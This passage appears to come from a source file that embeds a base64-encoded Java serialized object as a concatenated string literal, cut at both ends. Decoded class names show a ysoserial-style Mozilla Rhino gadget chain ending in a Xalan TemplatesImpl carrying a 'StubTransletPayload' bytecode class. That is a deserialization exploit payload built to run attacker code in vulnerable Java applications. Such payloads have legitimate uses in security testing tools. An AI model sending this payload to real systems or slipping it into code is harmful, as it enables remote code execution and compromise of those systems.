Z0DAAFJAARzaXpleHAAAAAAdwQAAAAAeHEAfgAZeHNyACJvcmcubW96aWxsYS5qYXZhc2NyaXB0Lk5hdGl2ZUVycm9yteolIb5Jzn0CAAB4cgApb3JnLm1vemlsbGEuamF2YXNjcmlwdC5JZFNjcmlwdGFibGVPYmplY3QqK2/ILmIXowMAAHhyACdvcmcubW96aWxsYS5qYXZhc2NyaXB0LlNjcmlwdGFibGVPYmplY3RlzhRyj8QY5AMABEkABWNvdW50TAAQYXNzb2NpYXRlZFZhbHVlc3QAD0xqYXZhL3V0aWwvTWFwO0wAEXBhcmVudFNjb3BlT2JqZWN0dAAjTG9yZy9tb3ppbGxhL2phdmFzY3JpcHQvU2NyaXB0YWJsZTtMAA9wcm90b3R5cGVPYmplY3RxAH4AHnhwAAAAAnBwc3IAJ29yZy5tb3ppbGxhLmphdmFzY3JpcHQuTmF0aXZlSmF2YU9iamVjdJ+RpZ41xDHhAwACTAAGcGFyZW50cQB+AB5MAAlwcm90b3R5cGVxAH4AHnhwc3IAI29yZy5tb3ppbGxhLmphdmFzY3JpcHQuTmF0aXZlT2JqZWN0p/DyKv+XugwCAAB4cQB+ABsAAAA3c3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAADHcIAAAAEAAAAAR0AA1MSUJSQVJZX1NDT1BFcQB+ACN0AAhJdGVyYXRvcnNyADNvcmcubW96aWxsYS5qYXZhc2NyaXB0Lk5hdGl2ZUl0ZXJhdG9yJFN0b3BJdGVyYXRpb24ifQe+3aidvwIAAHhxAH4AIgAAAABwcQB+ACNzcQB+ACIAAAAAcHEAfgAjcHcEAAAAAHh3BAAAAAx4dwQAAAAAeHcEAAAAAHh0AApDbGFzc0NhY2hlc3IAIW9yZy5tb3ppbGxhLmphdmFzY3JpcHQuQ2xhc3NDYWNoZYT0xDSW3B8pAgACWgAQY2FjaGluZ0lzRW5hYmxlZEkAFGdlbmVyYXRlZENsYXNzU2VyaWFseHABAAAAAHQACUdlbmVyYXRvcnNyACZvcmcubW96aWxsYS5qYXZhc2NyaXB0Lk5hdGl2ZUdlbmVyYXRvchbXYnRuxSLJAgAGWgAJZmlyc3RUaW1lSQAKbGluZ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" +
        					"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" + 
        					"5hdGl2ZUl0ZXJhdG9yxpaJVmJtxp8CAAFMAA5vYmplY3RJdGVyYXRvcnEAfgABeHEAfgAbAAAAAHBxAH4AI3EAfgAqdwQAAAAAeHcEAAAAA3hwAAAAAgAAAAEBcQB+ACdxAH4BX3EAfgAnc3EAfgAyAAJAvBjbdAANU3RvcEl0ZXJhdGlvbnEAfgApc3IAMm9yZy5tb3ppbGxhLmphdmFzY3JpcHQuU2NyaXB0YWJsZU9iamVjdCRHZXR0ZXJTbG90u/2pI3MgHWwCAAJMAAZnZXR0ZXJxAH4AAUwABnNldHRlcnEAfgABeHEAfgAyAAKRrI0JdAAGUmVnRXhwc3IAJ29yZy5tb3ppbGxhLmphdmFzY3JpcHQuTGF6aWx5TG9hZGVkQ3RvcgAAAAAAAAABAgAGWgAGc2VhbGVkSQAFc3RhdGVMAAljbGFzc05hbWVxAH4ABUwAEGluaXRpYWxpemVkVmFsdWVxAH4AAUwADHByb3BlcnR5TmFtZXEAfgAFTAAFc2NvcGV0AClMb3JnL21vemlsbGEvamF2YXNjcmlwdC9TY3JpcHRhYmxlT2JqZWN0O3hwAAAAAAB0ACpvcmcubW96aWxsYS5qYXZhc2NyaXB0LnJlZ2V4cC5OYXRpdmVSZWdFeHBwcQB+AWRxAH4AI3Bwc3EAfgFiAAIwm7kNdAAIUGFja2FnZXNzcQB+AWUAAAAAAHQAK29yZy5tb3ppbGxhLmphdmFzY3JpcHQuTmF0aXZlSmF2YVRvcFBhY2thZ2VwcQB+AWpxAH4AI3Bwc3EAfgFiAAIAMaoidAAEamF2YXNxAH4BZQAAAAAAcQB+AWxwcQB+AW5xAH4AI3Bwc3EAfgFiAAIGA5qWdAAFamF2YXhzcQB+AWUAAAAAAHEAfgFscHEAfgFxcQB+ACNwcHNxAH4BYgACAAGu5HQAA29yZ3NxAH4BZQAAAAAAcQB+AWxwcQB+AXRxAH4AI3Bwc3EAfgFiAAIAAYGBdAADY29tc3EAfgFlAAAAAABxAH4BbHBxAH4Bd3EAfgAjcHBzcQB+AWIAAgABh7Z0AANlZHVzcQB+AWUAAAAAAHEAfgFscHEAfgF6cQB+ACNwcHNxAH4BYgACAAGpnXQAA25ldHNxAH4BZQAAAAAAcQB+AWxwcQB+AX1xAH4AI3Bwc3EAfgFiAAJ0Q0/CdAAIZ2V0Q2xhc3NzcQB+AWUAAAAAAHEAfgFscHEAfgGAcQB+ACNwcHNxAH4BYgACbHHurXQAC0phdmFBZGFwdGVyc3EAfgFlAAAAAAB0ACJvcmcubW96aWxsYS5qYXZhc2NyaXB0LkphdmFBZGFwdGVycHEAfgGDcQB+ACNwcHNxAH4BYgACVndLdHQADEphdmFJbXBvcnRlcnNxAH4BZQAAAAAAdAAnb3JnLm1vemlsbGEuamF2YXNjcmlwdC5JbXBvcnRlclRvcExldmVscHEAfgGHcQB+ACNwcHNxAH4BYgAC3LXKV3QADENvbnRpbnVhdGlvbnNxAH4BZQAAAAAAdAApb3JnLm1vemlsbGEuamF2YXNjcmlwdC5OYXRpdmVDb250aW51YXRpb25wcQB+AYtxAH4AI3Bwc3EAfgFiAAIAAVP3dAADWE1Mc3EAfgFlAAAAAAB0AClvcmcubW96aWxsYS5qYXZhc2NyaXB0LnhtbGltcGwuWE1MTGliSW1wbHBxAH4Bj3EAfgAjcHBzcQB+AWIAArbcpTV0AAdYTUxMaXN0c3EAfgFlAAAAAABxAH4BkXBxAH4Bk3EAfgAjcHBzcQB+AWIAAsIVdTt0AAlOYW1lc3BhY2VzcQB+AWUAAAAAAHEAfgGRcHEAfgGWcQB+ACNwcHNxAH4BYgACBJpefHQABVFOYW1lc3EAfgFlAAAAAABxAH4BkXBxAH4BmXEAfgAjcHB4dwQAAAAAeHB3AQBzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AAVMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABjzK/rq+AAAAMgAzBwAxAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkBwAEAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcABgEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQoAAwAQDAAMAA0BAA9MaW5lTnV